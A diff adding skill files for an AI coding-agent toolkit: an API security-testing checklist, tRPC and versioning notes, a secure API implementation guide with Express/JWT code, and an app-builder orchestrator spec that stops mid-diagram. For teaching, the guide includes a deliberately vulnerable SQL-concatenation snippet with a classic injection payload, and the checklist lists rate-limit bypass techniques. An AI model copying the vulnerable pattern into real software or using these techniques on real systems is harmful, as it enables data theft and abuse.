+| **API5: Function Auth** | Admin endpoints, role bypass |
+| **API6: Business Flow** | Logic abuse, automation |
+| **API7: SSRF** | Internal network access |
+| **API8: Misconfiguration** | Debug endpoints, CORS |
+| **API9: Inventory** | Shadow APIs, old versions |
+| **API10: Unsafe Consumption** | Third-party API trust |
+
+---
+
+## Authentication Testing
+
+### JWT Testing
+
+| Check | What to Test |
+|-------|--------------|
+| Algorithm | None, algorithm confusion |
+| Secret | Weak secrets, brute force |
+| Claims | Expiration, issuer, audience |
+| Signature | Manipulation, key injection |
+
+### Session Testing
+
+| Check | What to Test |
+|-------|--------------|
+| Generation | Predictability |
+| Storage | Client-side security |
+| Expiration | Timeout enforcement |
+| Invalidation | Logout effectiveness |
+
+---
+
+## Authorization Testing
+
+| Test Type | Approach |
+|-----------|----------|
+| **Horizontal** | Access peer users' data |
+| **Vertical** | Access higher privilege functions |
+| **Context** | Access outside allowed scope |
+
+### BOLA/IDOR Testing
+
+1. Identify resource IDs in requests
+2. Capture request with user A's session
+3. Replay with user B's session
+4. Check for unauthorized access
+
+---
+
+## Input Validation Testing
+
+| Injection Type | Test Focus |
+|----------------|------------|
+| SQL | Query manipulation |
+| NoSQL | Document queries |
+| Command | System commands |
+| LDAP | Directory queries |
+
+**Approach:** Test all parameters, try type coercion, test boundaries, check error messages.
+
+---
+
+## Rate Limiting Testing
+
+| Aspect | Check |
+|--------|-------|
+| Existence | Is there any limit? |
+| Bypass | Headers, IP rotation |
+| Scope | Per-user, per-IP, global |
+
+**Bypass techniques:** X-Forwarded-For, different HTTP methods, case variations, API versioning.
+
+---
+
+## GraphQL Security
+
+| Test | Focus |
+|------|-------|
+| Introspection | Schema disclosure |
+| Batching | Query DoS |
+| Nesting | Depth-based DoS |
+| Authorization | Field-level access |
+
+---
+
+## Security Testing Checklist
+
+**Authentication:**
+- [ ] Test for bypass
+- [ ] Check credential strength
+- [ ] Verify token security
+
+**Authorization:**
+- [ ] Test BOLA/IDOR
+- [ ] Check privilege escalation
+- [ ] Verify function access
+
+**Input:**
+- [ ] Test all parameters
+- [ ] Check for injection
+
+**Config:**
+- [ ] Check CORS
+- [ ] Verify headers
+- [ ] Test error handling
+
+---
+
+> **Remember:** APIs are the backbone of modern apps. Test them like attackers will.

skills/api-patterns/trpc.md

@@ -0,0 +1,41 @@
+# tRPC Principles
+
+> End-to-end type safety for TypeScript monorepos.
+
+## When to Use
+
+```
+✅ Perfect fit:
+├── TypeScript on both ends
+├── Monorepo structure
+├── Internal tools
+├── Rapid development
+└── Type safety critical
+
+❌ Poor fit:
+├── Non-TypeScript clients
+├── Public API
+├── Need REST conventions
+└── Multiple language backends
+```
+
+## Key Benefits
+
+```
+Why tRPC:
+├── Zero schema maintenance
+├── End-to-end type inference
+├── IDE autocomplete across stack
+├── Instant API changes reflected
+└── No code generation step
+```
+
+## Integration Patterns
+
+```
+Common setups:
+├── Next.js + tRPC (most common)
+├── Monorepo with shared types
+├── Remix + tRPC
+└── Any TS frontend + backend
+```

skills/api-patterns/versioning.md

@@ -0,0 +1,22 @@
+# Versioning Strategies
+
+> Plan for API evolution from day one.
+
+## Decision Factors
+
+| Strategy | Implementation | Trade-offs |
+|----------|---------------|------------|
+| **URI** | /v1/users | Clear, easy caching |
+| **Header** | Accept-Version: 1 | Cleaner URLs, harder discovery |
+| **Query** | ?version=1 | Easy to add, messy |
+| **None** | Evolve carefully | Best for internal, risky for public |
+
+## Versioning Philosophy
+
+```
+Consider:
+├── Public API? → Version in URI
+├── Internal only? → May not need versioning
+├── GraphQL? → Typically no versions (evolve schema)
+├── tRPC? → Types enforce compatibility
+```

skills/api-security-best-practices/SKILL.md

@@ -0,0 +1,907 @@
+---
+name: api-security-best-practices
+description: "Implement secure API design patterns including authentication, authorization, input validation, rate limiting, and protection against common API vulnerabilities"
+---
+
+# API Security Best Practices
+
+## Overview
+
+Guide developers in building secure APIs by implementing authentication, authorization, input validation, rate limiting, and protection against common vulnerabilities. This skill covers security patterns for REST, GraphQL, and WebSocket APIs.
+
+## When to Use This Skill
+
+- Use when designing new API endpoints
+- Use when securing existing APIs
+- Use when implementing authentication and authorization
+- Use when protecting against API attacks (injection, DDoS, etc.)
+- Use when conducting API security reviews
+- Use when preparing for security audits
+- Use when implementing rate limiting and throttling
+- Use when handling sensitive data in APIs
+
+## How It Works
+
+### Step 1: Authentication & Authorization
+
+I'll help you implement secure authentication:
+- Choose authentication method (JWT, OAuth 2.0, API keys)
+- Implement token-based authentication
+- Set up role-based access control (RBAC)
+- Secure session management
+- Implement multi-factor authentication (MFA)
+
+### Step 2: Input Validation & Sanitization
+
+Protect against injection attacks:
+- Validate all input data
+- Sanitize user inputs
+- Use parameterized queries
+- Implement request schema validation
+- Prevent SQL injection, XSS, and command injection
+
+### Step 3: Rate Limiting & Throttling
+
+Prevent abuse and DDoS attacks:
+- Implement rate limiting per user/IP
+- Set up API throttling
+- Configure request quotas
+- Handle rate limit errors gracefully
+- Monitor for suspicious activity
+
+### Step 4: Data Protection
+
+Secure sensitive data:
+- Encrypt data in transit (HTTPS/TLS)
+- Encrypt sensitive data at rest
+- Implement proper error handling (no data leaks)
+- Sanitize error messages
+- Use secure headers
+
+### Step 5: API Security Testing
+
+Verify security implementation:
+- Test authentication and authorization
+- Perform penetration testing
+- Check for common vulnerabilities (OWASP API Top 10)
+- Validate input handling
+- Test rate limiting
+
+
+## Examples
+
+### Example 1: Implementing JWT Authentication
+
+```markdown
+## Secure JWT Authentication Implementation
+
+### Authentication Flow
+
+1. User logs in with credentials
+2. Server validates credentials
+3. Server generates JWT token
+4. Client stores token securely
+5. Client sends token with each request
+6. Server validates token
+
+### Implementation
+
+#### 1. Generate Secure JWT Tokens
+
+\`\`\`javascript
+// auth.js
+const jwt = require('jsonwebtoken');
+const bcrypt = require('bcrypt');
+
+// Login endpoint
+app.post('/api/auth/login', async (req, res) => {
+  try {
+    const { email, password } = req.body;
+    
+    // Validate input
+    if (!email || !password) {
+      return res.status(400).json({ 
+        error: 'Email and password are required' 
+      });
+    }
+    
+    // Find user
+    const user = await db.user.findUnique({ 
+      where: { email } 
+    });
+    
+    if (!user) {
+      // Don't reveal if user exists
+      return res.status(401).json({ 
+        error: 'Invalid credentials' 
+      });
+    }
+    
+    // Verify password
+    const validPassword = await bcrypt.compare(
+      password, 
+      user.passwordHash
+    );
+    
+    if (!validPassword) {
+      return res.status(401).json({ 
+        error: 'Invalid credentials' 
+      });
+    }
+    
+    // Generate JWT token
+    const token = jwt.sign(
+      { 
+        userId: user.id,
+        email: user.email,
+        role: user.role
+      },
+      process.env.JWT_SECRET,
+      { 
+        expiresIn: '1h',
+        issuer: 'your-app',
+        audience: 'your-app-users'
+      }
+    );
+    
+    // Generate refresh token
+    const refreshToken = jwt.sign(
+      { userId: user.id },
+      process.env.JWT_REFRESH_SECRET,
+      { expiresIn: '7d' }
+    );
+    
+    // Store refresh token in database
+    await db.refreshToken.create({
+      data: {
+        token: refreshToken,
+        userId: user.id,
+        expiresAt: new Date(Date.now() + 7 * 24 * 60 * 60 * 1000)
+      }
+    });
+    
+    res.json({
+      token,
+      refreshToken,
+      expiresIn: 3600
+    });
+    
+  } catch (error) {
+    console.error('Login error:', error);
+    res.status(500).json({ 
+      error: 'An error occurred during login' 
+    });
+  }
+});
+\`\`\`
+
+#### 2. Verify JWT Tokens (Middleware)
+
+\`\`\`javascript
+// middleware/auth.js
+const jwt = require('jsonwebtoken');
+
+function authenticateToken(req, res, next) {
+  // Get token from header
+  const authHeader = req.headers['authorization'];
+  const token = authHeader && authHeader.split(' ')[1]; // Bearer TOKEN
+  
+  if (!token) {
+    return res.status(401).json({ 
+      error: 'Access token required' 
+    });
+  }
+  
+  // Verify token
+  jwt.verify(
+    token, 
+    process.env.JWT_SECRET,
+    { 
+      issuer: 'your-app',
+      audience: 'your-app-users'
+    },
+    (err, user) => {
+      if (err) {
+        if (err.name === 'TokenExpiredError') {
+          return res.status(401).json({ 
+            error: 'Token expired' 
+          });
+        }
+        return res.status(403).json({ 
+          error: 'Invalid token' 
+        });
+      }
+      
+      // Attach user to request
+      req.user = user;
+      next();
+    }
+  );
+}
+
+module.exports = { authenticateToken };
+\`\`\`
+
+#### 3. Protect Routes
+
+\`\`\`javascript
+const { authenticateToken } = require('./middleware/auth');
+
+// Protected route
+app.get('/api/user/profile', authenticateToken, async (req, res) => {
+  try {
+    const user = await db.user.findUnique({
+      where: { id: req.user.userId },
+      select: {
+        id: true,
+        email: true,
+        name: true,
+        // Don't return passwordHash
+      }
+    });
+    
+    res.json(user);
+  } catch (error) {
+    res.status(500).json({ error: 'Server error' });
+  }
+});
+\`\`\`
+
+#### 4. Implement Token Refresh
+
+\`\`\`javascript
+app.post('/api/auth/refresh', async (req, res) => {
+  const { refreshToken } = req.body;
+  
+  if (!refreshToken) {
+    return res.status(401).json({ 
+      error: 'Refresh token required' 
+    });
+  }
+  
+  try {
+    // Verify refresh token
+    const decoded = jwt.verify(
+      refreshToken, 
+      process.env.JWT_REFRESH_SECRET
+    );
+    
+    // Check if refresh token exists in database
+    const storedToken = await db.refreshToken.findFirst({
+      where: {
+        token: refreshToken,
+        userId: decoded.userId,
+        expiresAt: { gt: new Date() }
+      }
+    });
+    
+    if (!storedToken) {
+      return res.status(403).json({ 
+        error: 'Invalid refresh token' 
+      });
+    }
+    
+    // Generate new access token
+    const user = await db.user.findUnique({
+      where: { id: decoded.userId }
+    });
+    
+    const newToken = jwt.sign(
+      { 
+        userId: user.id,
+        email: user.email,
+        role: user.role
+      },
+      process.env.JWT_SECRET,
+      { expiresIn: '1h' }
+    );
+    
+    res.json({
+      token: newToken,
+      expiresIn: 3600
+    });
+    
+  } catch (error) {
+    res.status(403).json({ 
+      error: 'Invalid refresh token' 
+    });
+  }
+});
+\`\`\`
+
+### Security Best Practices
+
+- ✅ Use strong JWT secrets (256-bit minimum)
+- ✅ Set short expiration times (1 hour for access tokens)
+- ✅ Implement refresh tokens for long-lived sessions
+- ✅ Store refresh tokens in database (can be revoked)
+- ✅ Use HTTPS only
+- ✅ Don't store sensitive data in JWT payload
+- ✅ Validate token issuer and audience
+- ✅ Implement token blacklisting for logout
+```
+
+
+### Example 2: Input Validation and SQL Injection Prevention
+
+```markdown
+## Preventing SQL Injection and Input Validation
+
+### The Problem
+
+**❌ Vulnerable Code:**
+\`\`\`javascript
+// NEVER DO THIS - SQL Injection vulnerability
+app.get('/api/users/:id', async (req, res) => {
+  const userId = req.params.id;
+  
+  // Dangerous: User input directly in query
+  const query = \`SELECT * FROM users WHERE id = '\${userId}'\`;
+  const user = await db.query(query);
+  
+  res.json(user);
+});
+
+// Attack example:
+// GET /api/users/1' OR '1'='1
+// Returns all users!
+\`\`\`
+
+### The Solution
+
+#### 1. Use Parameterized Queries
+
+\`\`\`javascript
+// ✅ Safe: Parameterized query
+app.get('/api/users/:id', async (req, res) => {
+  const userId = req.params.id;
+  
+  // Validate input first
+  if (!userId || !/^\d+$/.test(userId)) {
+    return res.status(400).json({ 
+      error: 'Invalid user ID' 
+    });
+  }
+  
+  // Use parameterized query
+  const user = await db.query(
+    'SELECT id, email, name FROM users WHERE id = $1',
+    [userId]
+  );
+  
+  if (!user) {
+    return res.status(404).json({ 
+      error: 'User not found' 
+    });
+  }
+  
+  res.json(user);
+});
+\`\`\`
+
+#### 2. Use ORM with Proper Escaping
+
+\`\`\`javascript
+// ✅ Safe: Using Prisma ORM
+app.get('/api/users/:id', async (req, res) => {
+  const userId = parseInt(req.params.id);
+  
+  if (isNaN(userId)) {
+    return res.status(400).json({ 
+      error: 'Invalid user ID' 
+    });
+  }
+  
+  const user = await prisma.user.findUnique({
+    where: { id: userId },
+    select: {
+      id: true,
+      email: true,
+      name: true,
+      // Don't select sensitive fields
+    }
+  });
+  
+  if (!user) {
+    return res.status(404).json({ 
+      error: 'User not found' 
+    });
+  }
+  
+  res.json(user);
+});
+\`\`\`
+
+#### 3. Implement Request Validation with Zod
+
+\`\`\`javascript
+const { z } = require('zod');
+
+// Define validation schema
+const createUserSchema = z.object({
+  email: z.string().email('Invalid email format'),
+  password: z.string()
+    .min(8, 'Password must be at least 8 characters')
+    .regex(/[A-Z]/, 'Password must contain uppercase letter')
+    .regex(/[a-z]/, 'Password must contain lowercase letter')
+    .regex(/[0-9]/, 'Password must contain number'),
+  name: z.string()
+    .min(2, 'Name must be at least 2 characters')
+    .max(100, 'Name too long'),
+  age: z.number()
+    .int('Age must be an integer')
+    .min(18, 'Must be 18 or older')
+    .max(120, 'Invalid age')
+    .optional()
+});
+
+// Validation middleware
+function validateRequest(schema) {
+  return (req, res, next) => {
+    try {
+      schema.parse(req.body);
+      next();
+    } catch (error) {
+      res.status(400).json({
+        error: 'Validation failed',
+        details: error.errors
+      });
+    }
+  };
+}
+
+// Use validation
+app.post('/api/users', 
+  validateRequest(createUserSchema),
+  async (req, res) => {
+    // Input is validated at this point
+    const { email, password, name, age } = req.body;
+    
+    // Hash password
+    const passwordHash = await bcrypt.hash(password, 10);
+    
+    // Create user
+    const user = await prisma.user.create({
+      data: {
+        email,
+        passwordHash,
+        name,
+        age
+      }
+    });
+    
+    // Don't return password hash
+    const { passwordHash: _, ...userWithoutPassword } = user;
+    res.status(201).json(userWithoutPassword);
+  }
+);
+\`\`\`
+
+#### 4. Sanitize Output to Prevent XSS
+
+\`\`\`javascript
+const DOMPurify = require('isomorphic-dompurify');
+
+app.post('/api/comments', authenticateToken, async (req, res) => {
+  const { content } = req.body;
+  
+  // Validate
+  if (!content || content.length > 1000) {
+    return res.status(400).json({ 
+      error: 'Invalid comment content' 
+    });
+  }
+  
+  // Sanitize HTML to prevent XSS
+  const sanitizedContent = DOMPurify.sanitize(content, {
+    ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a'],
+    ALLOWED_ATTR: ['href']
+  });
+  
+  const comment = await prisma.comment.create({
+    data: {
+      content: sanitizedContent,
+      userId: req.user.userId
+    }
+  });
+  
+  res.status(201).json(comment);
+});
+\`\`\`
+
+### Validation Checklist
+
+- [ ] Validate all user inputs
+- [ ] Use parameterized queries or ORM
+- [ ] Validate data types (string, number, email, etc.)
+- [ ] Validate data ranges (min/max length, value ranges)
+- [ ] Sanitize HTML content
+- [ ] Escape special characters
+- [ ] Validate file uploads (type, size, content)
+- [ ] Use allowlists, not blocklists
+```
+
+
+### Example 3: Rate Limiting and DDoS Protection
+
+```markdown
+## Implementing Rate Limiting
+
+### Why Rate Limiting?
+
+- Prevent brute force attacks
+- Protect against DDoS
+- Prevent API abuse
+- Ensure fair usage
+- Reduce server costs
+
+### Implementation with Express Rate Limit
+
+\`\`\`javascript
+const rateLimit = require('express-rate-limit');
+const RedisStore = require('rate-limit-redis');
+const Redis = require('ioredis');
+
+// Create Redis client
+const redis = new Redis({
+  host: process.env.REDIS_HOST,
+  port: process.env.REDIS_PORT
+});
+
+// General API rate limit
+const apiLimiter = rateLimit({
+  store: new RedisStore({
+    client: redis,
+    prefix: 'rl:api:'
+  }),
+  windowMs: 15 * 60 * 1000, // 15 minutes
+  max: 100, // 100 requests per window
+  message: {
+    error: 'Too many requests, please try again later',
+    retryAfter: 900 // seconds
+  },
+  standardHeaders: true, // Return rate limit info in headers
+  legacyHeaders: false,
+  // Custom key generator (by user ID or IP)
+  keyGenerator: (req) => {
+    return req.user?.userId || req.ip;
+  }
+});
+
+// Strict rate limit for authentication endpoints
+const authLimiter = rateLimit({
+  store: new RedisStore({
+    client: redis,
+    prefix: 'rl:auth:'
+  }),
+  windowMs: 15 * 60 * 1000, // 15 minutes
+  max: 5, // Only 5 login attempts per 15 minutes
+  skipSuccessfulRequests: true, // Don't count successful logins
+  message: {
+    error: 'Too many login attempts, please try again later',
+    retryAfter: 900
+  }
+});
+
+// Apply rate limiters
+app.use('/api/', apiLimiter);
+app.use('/api/auth/login', authLimiter);
+app.use('/api/auth/register', authLimiter);
+
+// Custom rate limiter for expensive operations
+const expensiveLimiter = rateLimit({
+  windowMs: 60 * 60 * 1000, // 1 hour
+  max: 10, // 10 requests per hour
+  message: {
+    error: 'Rate limit exceeded for this operation'
+  }
+});
+
+app.post('/api/reports/generate', 
+  authenticateToken,
+  expensiveLimiter,
+  async (req, res) => {
+    // Expensive operation
+  }
+);
+\`\`\`
+
+### Advanced: Per-User Rate Limiting
+
+\`\`\`javascript
+// Different limits based on user tier
+function createTieredRateLimiter() {
+  const limits = {
+    free: { windowMs: 60 * 60 * 1000, max: 100 },
+    pro: { windowMs: 60 * 60 * 1000, max: 1000 },
+    enterprise: { windowMs: 60 * 60 * 1000, max: 10000 }
+  };
+  
+  return async (req, res, next) => {
+    const user = req.user;
+    const tier = user?.tier || 'free';
+    const limit = limits[tier];
+    
+    const key = \`rl:user:\${user.userId}\`;
+    const current = await redis.incr(key);
+    
+    if (current === 1) {
+      await redis.expire(key, limit.windowMs / 1000);
+    }
+    
+    if (current > limit.max) {
+      return res.status(429).json({
+        error: 'Rate limit exceeded',
+        limit: limit.max,
+        remaining: 0,
+        reset: await redis.ttl(key)
+      });
+    }
+    
+    // Set rate limit headers
+    res.set({
+      'X-RateLimit-Limit': limit.max,
+      'X-RateLimit-Remaining': limit.max - current,
+      'X-RateLimit-Reset': await redis.ttl(key)
+    });
+    
+    next();
+  };
+}
+
+app.use('/api/', authenticateToken, createTieredRateLimiter());
+\`\`\`
+
+### DDoS Protection with Helmet
+
+\`\`\`javascript
+const helmet = require('helmet');
+
+app.use(helmet({
+  // Content Security Policy
+  contentSecurityPolicy: {
+    directives: {
+      defaultSrc: ["'self'"],
+      styleSrc: ["'self'", "'unsafe-inline'"],
+      scriptSrc: ["'self'"],
+      imgSrc: ["'self'", 'data:', 'https:']
+    }
+  },
+  // Prevent clickjacking
+  frameguard: { action: 'deny' },
+  // Hide X-Powered-By header
+  hidePoweredBy: true,
+  // Prevent MIME type sniffing
+  noSniff: true,
+  // Enable HSTS
+  hsts: {
+    maxAge: 31536000,
+    includeSubDomains: true,
+    preload: true
+  }
+}));
+\`\`\`
+
+### Rate Limit Response Headers
+
+\`\`\`
+X-RateLimit-Limit: 100
+X-RateLimit-Remaining: 87
+X-RateLimit-Reset: 1640000000
+Retry-After: 900
+\`\`\`
+```
+
+## Best Practices
+
+### ✅ Do This
+
+- **Use HTTPS Everywhere** - Never send sensitive data over HTTP
+- **Implement Authentication** - Require authentication for protected endpoints
+- **Validate All Inputs** - Never trust user input
+- **Use Parameterized Queries** - Prevent SQL injection
+- **Implement Rate Limiting** - Protect against brute force and DDoS
+- **Hash Passwords** - Use bcrypt with salt rounds >= 10
+- **Use Short-Lived Tokens** - JWT access tokens should expire quickly
+- **Implement CORS Properly** - Only allow trusted origins
+- **Log Security Events** - Monitor for suspicious activity
+- **Keep Dependencies Updated** - Regularly update packages
+- **Use Security Headers** - Implement Helmet.js
+- **Sanitize Error Messages** - Don't leak sensitive information
+
+### ❌ Don't Do This
+
+- **Don't Store Passwords in Plain Text** - Always hash passwords
+- **Don't Use Weak Secrets** - Use strong, random JWT secrets
+- **Don't Trust User Input** - Always validate and sanitize
+- **Don't Expose Stack Traces** - Hide error details in production
+- **Don't Use String Concatenation for SQL** - Use parameterized queries
+- **Don't Store Sensitive Data in JWT** - JWTs are not encrypted
+- **Don't Ignore Security Updates** - Update dependencies regularly
+- **Don't Use Default Credentials** - Change all default passwords
+- **Don't Disable CORS Completely** - Configure it properly instead
+- **Don't Log Sensitive Data** - Sanitize logs
+
+## Common Pitfalls
+
+### Problem: JWT Secret Exposed in Code
+**Symptoms:** JWT secret hardcoded or committed to Git
+**Solution:**
+\`\`\`javascript
+// ❌ Bad
+const JWT_SECRET = 'my-secret-key';
+
+// ✅ Good
+const JWT_SECRET = process.env.JWT_SECRET;
+if (!JWT_SECRET) {
+  throw new Error('JWT_SECRET environment variable is required');
+}
+
+// Generate strong secret
+// node -e "console.log(require('crypto').randomBytes(64).toString('hex'))"
+\`\`\`
+
+### Problem: Weak Password Requirements
+**Symptoms:** Users can set weak passwords like "password123"
+**Solution:**
+\`\`\`javascript
+const passwordSchema = z.string()
+  .min(12, 'Password must be at least 12 characters')
+  .regex(/[A-Z]/, 'Must contain uppercase letter')
+  .regex(/[a-z]/, 'Must contain lowercase letter')
+  .regex(/[0-9]/, 'Must contain number')
+  .regex(/[^A-Za-z0-9]/, 'Must contain special character');
+
+// Or use a password strength library
+const zxcvbn = require('zxcvbn');
+const result = zxcvbn(password);
+if (result.score < 3) {
+  return res.status(400).json({
+    error: 'Password too weak',
+    suggestions: result.feedback.suggestions
+  });
+}
+\`\`\`
+
+### Problem: Missing Authorization Checks
+**Symptoms:** Users can access resources they shouldn't
+**Solution:**
+\`\`\`javascript
+// ❌ Bad: Only checks authentication
+app.delete('/api/posts/:id', authenticateToken, async (req, res) => {
+  await prisma.post.delete({ where: { id: req.params.id } });
+  res.json({ success: true });
+});
+
+// ✅ Good: Checks both authentication and authorization
+app.delete('/api/posts/:id', authenticateToken, async (req, res) => {
+  const post = await prisma.post.findUnique({
+    where: { id: req.params.id }
+  });
+  
+  if (!post) {
+    return res.status(404).json({ error: 'Post not found' });
+  }
+  
+  // Check if user owns the post or is admin
+  if (post.userId !== req.user.userId && req.user.role !== 'admin') {
+    return res.status(403).json({ 
+      error: 'Not authorized to delete this post' 
+    });
+  }
+  
+  await prisma.post.delete({ where: { id: req.params.id } });
+  res.json({ success: true });
+});
+\`\`\`
+
+### Problem: Verbose Error Messages
+**Symptoms:** Error messages reveal system details
+**Solution:**
+\`\`\`javascript
+// ❌ Bad: Exposes database details
+app.post('/api/users', async (req, res) => {
+  try {
+    const user = await prisma.user.create({ data: req.body });
+    res.json(user);
+  } catch (error) {
+    res.status(500).json({ error: error.message });
+    // Error: "Unique constraint failed on the fields: (`email`)"
+  }
+});
+
+// ✅ Good: Generic error message
+app.post('/api/users', async (req, res) => {
+  try {
+    const user = await prisma.user.create({ data: req.body });
+    res.json(user);
+  } catch (error) {
+    console.error('User creation error:', error); // Log full error
+    
+    if (error.code === 'P2002') {
+      return res.status(400).json({ 
+        error: 'Email already exists' 
+      });
+    }
+    
+    res.status(500).json({ 
+      error: 'An error occurred while creating user' 
+    });
+  }
+});
+\`\`\`
+
+## Security Checklist
+
+### Authentication & Authorization
+- [ ] Implement strong authentication (JWT, OAuth 2.0)
+- [ ] Use HTTPS for all endpoints
+- [ ] Hash passwords with bcrypt (salt rounds >= 10)
+- [ ] Implement token expiration
+- [ ] Add refresh token mechanism
+- [ ] Verify user authorization for each request
+- [ ] Implement role-based access control (RBAC)
+
+### Input Validation
+- [ ] Validate all user inputs
+- [ ] Use parameterized queries or ORM
+- [ ] Sanitize HTML content
+- [ ] Validate file uploads
+- [ ] Implement request schema validation
+- [ ] Use allowlists, not blocklists
+
+### Rate Limiting & DDoS Protection
+- [ ] Implement rate limiting per user/IP
+- [ ] Add stricter limits for auth endpoints
+- [ ] Use Redis for distributed rate limiting
+- [ ] Return proper rate limit headers
+- [ ] Implement request throttling
+
+### Data Protection
+- [ ] Use HTTPS/TLS for all traffic
+- [ ] Encrypt sensitive data at rest
+- [ ] Don't store sensitive data in JWT
+- [ ] Sanitize error messages
+- [ ] Implement proper CORS configuration
+- [ ] Use security headers (Helmet.js)
+
+### Monitoring & Logging
+- [ ] Log security events
+- [ ] Monitor for suspicious activity
+- [ ] Set up alerts for failed auth attempts
+- [ ] Track API usage patterns
+- [ ] Don't log sensitive data
+
+## OWASP API Security Top 10
+
+1. **Broken Object Level Authorization** - Always verify user can access resource
+2. **Broken Authentication** - Implement strong authentication mechanisms
+3. **Broken Object Property Level Authorization** - Validate which properties user can access
+4. **Unrestricted Resource Consumption** - Implement rate limiting and quotas
+5. **Broken Function Level Authorization** - Verify user role for each function
+6. **Unrestricted Access to Sensitive Business Flows** - Protect critical workflows
+7. **Server Side Request Forgery (SSRF)** - Validate and sanitize URLs
+8. **Security Misconfiguration** - Use security best practices and headers
+9. **Improper Inventory Management** - Document and secure all API endpoints
+10. **Unsafe Consumption of APIs** - Validate data from third-party APIs
+
+## Related Skills
+
+- `@ethical-hacking-methodology` - Security testing perspective
+- `@sql-injection-testing` - Testing for SQL injection
+- `@xss-html-injection` - Testing for XSS vulnerabilities
+- `@broken-authentication` - Authentication vulnerabilities
+- `@backend-dev-guidelines` - Backend development standards
+- `@systematic-debugging` - Debug security issues
+
+## Additional Resources
+
+- [OWASP API Security Top 10](https://owasp.org/www-project-api-security/)
+- [JWT Best Practices](https://tools.ietf.org/html/rfc8725)
+- [Express Security Best Practices](https://expressjs.com/en/advanced/best-practice-security.html)
+- [Node.js Security Checklist](https://blog.risingstack.com/node-js-security-checklist/)
+- [API Security Checklist](https://github.com/shieldfy/API-Security-Checklist)
+
+---
+
+**Pro Tip:** Security is not a one-time task - regularly audit your APIs, keep dependencies updated, and stay informed about new vulnerabilities!

skills/app-builder/SKILL.md

@@ -0,0 +1,75 @@
+---
+name: app-builder
+description: Main application building orchestrator. Creates full-stack applications from natural language requests. Determines project type, selects tech stack, coordinates agents.
+allowed-tools: Read, Write, Edit, Glob, Grep, Bash, Agent
+---
+
+# App Builder - Application Building Orchestrator
+
+> Analyzes user's requests, determines tech stack, plans structure, and coordinates agents.
+
+## 🎯 Selective Reading Rule
+
+**Read ONLY files relevant to the request!** Check the content map, find what you need.
+
+| File | Description | When to Read |
+|------|-------------|--------------|
+| `project-detection.md` | Keyword matrix, project type detection | Starting new project |
+| `tech-stack.md` | 2025 default stack, alternatives | Choosing technologies |
+| `agent-coordination.md` | Agent pipeline, execution order | Coordinating multi-agent work |
+| `scaffolding.md` | Directory structure, core files | Creating project structure |
+| `feature-building.md` | Feature analysis, error handling | Adding features to existing project |
+| `templates/SKILL.md` | **Project templates** | Scaffolding new project |
+
+---
+
+## 📦 Templates (13)
+
+Quick-start scaffolding for new projects. **Read the matching template only!**
+
+| Template | Tech Stack | When to Use |
+|----------|------------|-------------|
+| [nextjs-fullstack](templates/nextjs-fullstack/TEMPLATE.md) | Next.js + Prisma | Full-stack web app |
+| [nextjs-saas](templates/nextjs-saas/TEMPLATE.md) | Next.js + Stripe | SaaS product |
+| [nextjs-static](templates/nextjs-static/TEMPLATE.md) | Next.js + Framer | Landing page |
+| [nuxt-app](templates/nuxt-app/TEMPLATE.md) | Nuxt 3 + Pinia | Vue full-stack app |
+| [express-api](templates/express-api/TEMPLATE.md) | Express + JWT | REST API |
+| [python-fastapi](templates/python-fastapi/TEMPLATE.md) | FastAPI | Python API |
+| [react-native-app](templates/react-native-app/TEMPLATE.md) | Expo + Zustand | Mobile app |
+| [flutter-app](templates/flutter-app/TEMPLATE.md) | Flutter + Riverpod | Cross-platform mobile |
+| [electron-desktop](templates/electron-desktop/TEMPLATE.md) | Electron + React | Desktop app |
+| [chrome-extension](templates/chrome-extension/TEMPLATE.md) | Chrome MV3 | Browser extension |
+| [cli-tool](templates/cli-tool/TEMPLATE.md) | Node.js + Commander | CLI app |
+| [monorepo-turborepo](templates/monorepo-turborepo/TEMPLATE.md) | Turborepo + pnpm | Monorepo |
+
+---
+
+## 🔗 Related Agents
+
+| Agent | Role |
+|-------|------|
+| `project-planner` | Task breakdown, dependency graph |
+| `frontend-specialist` | UI components, pages |
+| `backend-specialist` | API, business logic |
+| `database-architect` | Schema, migrations |
+| `devops-engineer` | Deployment, preview |
+
+---
+
+## Usage Example
+
+```
+User: "Make an Instagram clone with photo sharing and likes"
+
+App Builder Process:
+1. Project type: Social Media App
+2. Tech stack: Next.js + Prisma + Cloudinary + Clerk
+3. Create plan:
+   ├─ Database schema (users, posts, likes, follows)
+   ├─ API routes (12 endpoints)
+   ├─ Pages (feed, profile, upload)
+   └─ Components (PostCard, Feed, LikeButton)
+4. Coordinate agents
+5. Report progress
+6. Start preview
+```

skills/app-builder/agent-coordination.md

@@ -0,0 +1,71 @@
+# Agent Coordination
+
+> How App Builder orchestrates specialist agents.
+
+## Agent Pipeline
+
+```
+┌─────────────────────────────────────────────────────────────┐
+│                   APP BUILDER (Orchestrator)                 │
+└─────────────────────────────────────────────────────────────┘
+                              │
+                              ▼
+┌─────────────────────────────────────────────────────────────┐
+│                     PROJECT PLANNER                          │
+│  • Task breakdown                                            │
+│  • Dependency graph                                          │
+│  • File structure planning                                   │
+│  • Create {task-slug}.md in project root (MANDATORY)             │
+└─────────────────────────────────────────────────────────────┘
+                              │
+                              ▼
+┌─────────────────────────────────────────────────────────────┐
+│              CHECKPOINT: PLAN VERIFICATION                   │
+│  🔴 VERIFY: Does {task-slug}.md exist in project root?       │
+│  🔴 If NO → STOP → Create plan file first                    │
+│  🔴 If YES → Proceed to specialist agents                    │
+└─────────────────────────────────────────────────────────────┘
+                              │
+          ┌───────────────────┼───────────────────┐
+          ▼                   ▼                   ▼
+┌─────────────────┐ ┌─────────────────┐ ┌─────────────────┐
+│ DATABASE        │ │ BACKEND         │ │ FRONTEND        │
+│ ARCHITECT       │ │ SPECIALIST      │ │ SPECIALIST      │
+│                 │ │                 │ │                 │
+│ • Schema design │ │ • API routes    │ │ • Components    │
+│ • Migrations    │ │ • Controllers   │ │ • Pages         │
+│ • Seed data     │ │ • Middleware    │ │ • Styling       │
+└─────────────────┘ └─────────────────┘ └─────────────────┘
+          │                   │                   │
+          └───────────────────┼───────────────────┘
+                              ▼
+┌─────────────────────────────────────────────────────────────┐
+│                 PARALLEL PHASE (Optional)                    │
+│  • Security Auditor → Vulnerability check                   │
+│  • Test Engineer → Unit tests                               │
+│  • Performance Optimizer → Bundle analysis                  │
+└─────────────────────────────────────────────────────────────┘
+                              │
+                              ▼
+┌─────────────────────────────────────────────────────────────┐
+│                     DEVOPS ENGINEER                          │
+│  • Environment setup                                         │
+│  • Preview deployment                                        │
+│  • Health check                                              │
